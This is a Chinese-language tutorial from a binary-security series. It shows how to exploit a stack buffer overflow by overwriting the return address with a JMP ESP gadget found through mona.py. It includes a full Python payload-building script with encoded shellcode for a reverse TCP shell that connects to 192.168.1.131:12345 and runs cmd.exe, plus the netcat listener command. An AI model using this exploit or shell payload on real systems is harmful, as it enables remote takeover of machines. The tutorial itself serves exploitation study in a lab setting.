浸淫二进制已久,几年来学习途径上也颇为坎坷,每每苦于没有一套完整的纲要,尤在入门开荒期间,上下而求索。一直以来都想自己规划出一套二进制安全系列的教纲,从上古时期到现代的技术细节,汇集整理所学所想,承百家之技艺,但遗后来人乘凉。

栈溢出漏洞之ret eip

在上一节《栈溢出漏洞概述》的最后,我做了一个留白。在根据最原始的想法进行尝试时,我遇到了这样几个问题:

  1. 想要拿到当前栈空间的地址并不是一件容易的事,我们需要预先调试才能获取。
  2. 即使通过调试获取到了栈的地址,程序每次重启时,栈的地址都会变化(日后你会了解到一个保护机制:ASLR)。
  3. 我不能保证在每个运行环境,该地址都是正确的,毕竟这个值是硬编码地址到payload。
  4. 另一方面,即使我选择不可靠的硬编码栈地址,多次尝试中我发现栈地址经常包含字符’\x00’,这一字符在很多情况下会截断输入。

于是我们发现,将调试找到的所用栈空间地址硬编码进payload是不可靠的,场面再次陷入僵局。

可靠的跳转到shellcode

shellcode的概念已在上一节有所提及,可以理解成实现功能的代码字节流。我们在利用栈溢出漏洞时,往往会定制一个payload,而shellcode就是payload的一部分,用于完成功能,而payload的其他部分则是一些相关的补丁、跳转地址等元素。它们共同实现配合程序的运行环境,通过精妙的指令操作使得EIP最终执行shellcode的地址处。

那么如何找到一个可靠的跳转方法呢?国外的某黑客找到了一种十分天才的方法,他发现在栈溢出的利用中,各寄存器中总是有那么几个的值和当前栈帧地址息息相关(尤其是ESP,因为其功用性颇为显然)。于是,一种十分精巧的做法应运而生。我们何不搜索一条稳定的JMP reg指令,用它的地址覆盖ret eip的地址呢?

而与此同时,JMP reg的指令多如牛毛,且每个程序都会加载必要的多个DLL。一些DLL的地址是固定的(以后在接触ASLR时我们再详细谈),我们完全可以先定位到RET EIP处,看看各寄存器哪个好用,然后再搜索一条JMP reg的指令地址覆盖。

拿上一节的例子来说,执行到RETN时,ESP是指向我们待填充的bbbb所在地址,如果我们在这里放置一条JMP ESP的地址,那么RETN就会将EIP置为JMP ESP的地址,且ESP做一次POP操作,指向了该地址+4的栈空间。此后,执行JMP ESP,就又跳回了该地址+4的地方执行指令。也就是说,我们大可以找一条JMP ESP的地址放置于此,紧随在后面的继续放置我们的shellcode,就能够达成目的。

可以通过mona.py在Immunity Debugger中搜索JMP ESP的地址。

可以看到,当我们在程序自身模块搜索时没有找到JMP ESP的地址,但我们可以在几乎每个程序都会加载的DLL,诸如kernel32.dll,ntdll.dll等搜索。

实际上mona没有做什么神奇的事情,无非就是遍历地址空间,搜索JMP ESP对应的机器码而已,你完全可以不通过借助mona来完成,只是集成的工具更为高效、方便、友好。

我们跟到0x77474EBF地址处,发现确实是个JMP ESP指令。

定制payload

我们将此地址覆盖bbbb的偏移,并在后方补给shellcode。

with open('C:\\Users\\Administrator\\Desktop\\reteip\\name.dat','wb') as f:
    ret_eip = '\xbf\x4e\x47\x77'
    shellcode = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xb4\x03\x01\x01\x81\xf1\x01\x01"
    shellcode += "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
    shellcode += "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x83\x02\x05\x05"
    shellcode += "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
    shellcode += "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
    shellcode += "\xe8\xa9\x01\x05\x05\x68\x8f\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
    shellcode += "\x2d\xe8\x98\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x8c\x01"
    shellcode += "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x80\x01\x05\x05\xb9\x70"
    shellcode += "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x72\x01\x05\x05\xb9\xd1\xfe\x73"
    shellcode += "\x1b\x89\x44\x24\x0c\xe8\x64\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
    shellcode += "\x5a\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x4c\x01"
    shellcode += "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3e\x01\x05\x05"
    shellcode += "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x30\x01\x05\x05\xb9\x98"
    shellcode += "\x94\x8e\xca\x8b\xd8\xe8\x24\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
    shellcode += "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
    shellcode += "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
    shellcode += "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
    shellcode += "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
    shellcode += "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
    shellcode += "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
    shellcode += "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x30\x39\x05\x05\x66"
    shellcode += "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
    shellcode += "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
    shellcode += "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
    shellcode += "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
    shellcode += "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
    shellcode += "\x52\x52\x6a\x01\x52\x52\x68\xa8\x02\x05\x05\x52\x89\xb4\x24\xc0"
    shellcode += "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
    shellcode += "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
    shellcode += "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
    shellcode += "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
    shellcode += "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b"
    shellcode += "\xec\x83\xec\x14\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05"
    shellcode += "\x89\x45\xfc\x8b\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45"
    shellcode += "\xec\x8b\xcf\xe8\xd2\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74"
    shellcode += "\x4f\x8b\x46\x3c\x8b\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c"
    shellcode += "\x03\xce\xe8\x96\xff\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce"
    shellcode += "\x33\xc0\x89\x4d\xf0\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c"
    shellcode += "\x81\x03\xce\xe8\x75\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e"
    shellcode += "\x8b\x45\xfc\x8b\x4d\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde"
    shellcode += "\x3b\x7d\xec\x75\x9c\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d"
    shellcode += "\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c"
    shellcode += "\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdd\x2f\x05\x05\x05\xf2\x05"
    shellcode += "\x05\x05\x80\x01\x05\x05\x77\x73\x32\x5f\x33\x32\x2e\x64\x6c\x6c"
    shellcode += "\x05\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x33\x31\x05\x63"
    shellcode += "\x6d\x64\x2e\x65\x78\x65\x05"
		
    payload = 'a'*36 + ret_eip + shellcode
    f.write(payload)

shellcode是一个用于连接到192.168.1.131:12345的reverse_tcp连接,会重定向自身的cmd输入和输出。关于他的制作以后我们详细说,这里我简单的使用它。

我们成功的通过RETN执行到了JMP ESP,单步执行跳到ESP,此时看看栈帧:

我们发现,此时反汇编窗口正是我们要执行的shellcode指令,F9运行后,在192.168.1.131的Kali虚拟机中,通过nc -lvp 12345启动的tcp daemon捕获到了连接。

关于JMP ESP的引申

实际上前面也多次提到JMP ESP并不是唯一解,很多时候,其他寄存器可能也与当前栈帧地址息息相关,但可能会存在偏移,此时就需要各种的padding技巧来跳过它。这些内容不是简单的几句话可以详尽的,关于此,我十分推荐你看泉哥翻译的《Exploit 编写系列教程第二篇: 栈溢出——跳至shellcode》,看雪论坛上你可以搜索到它。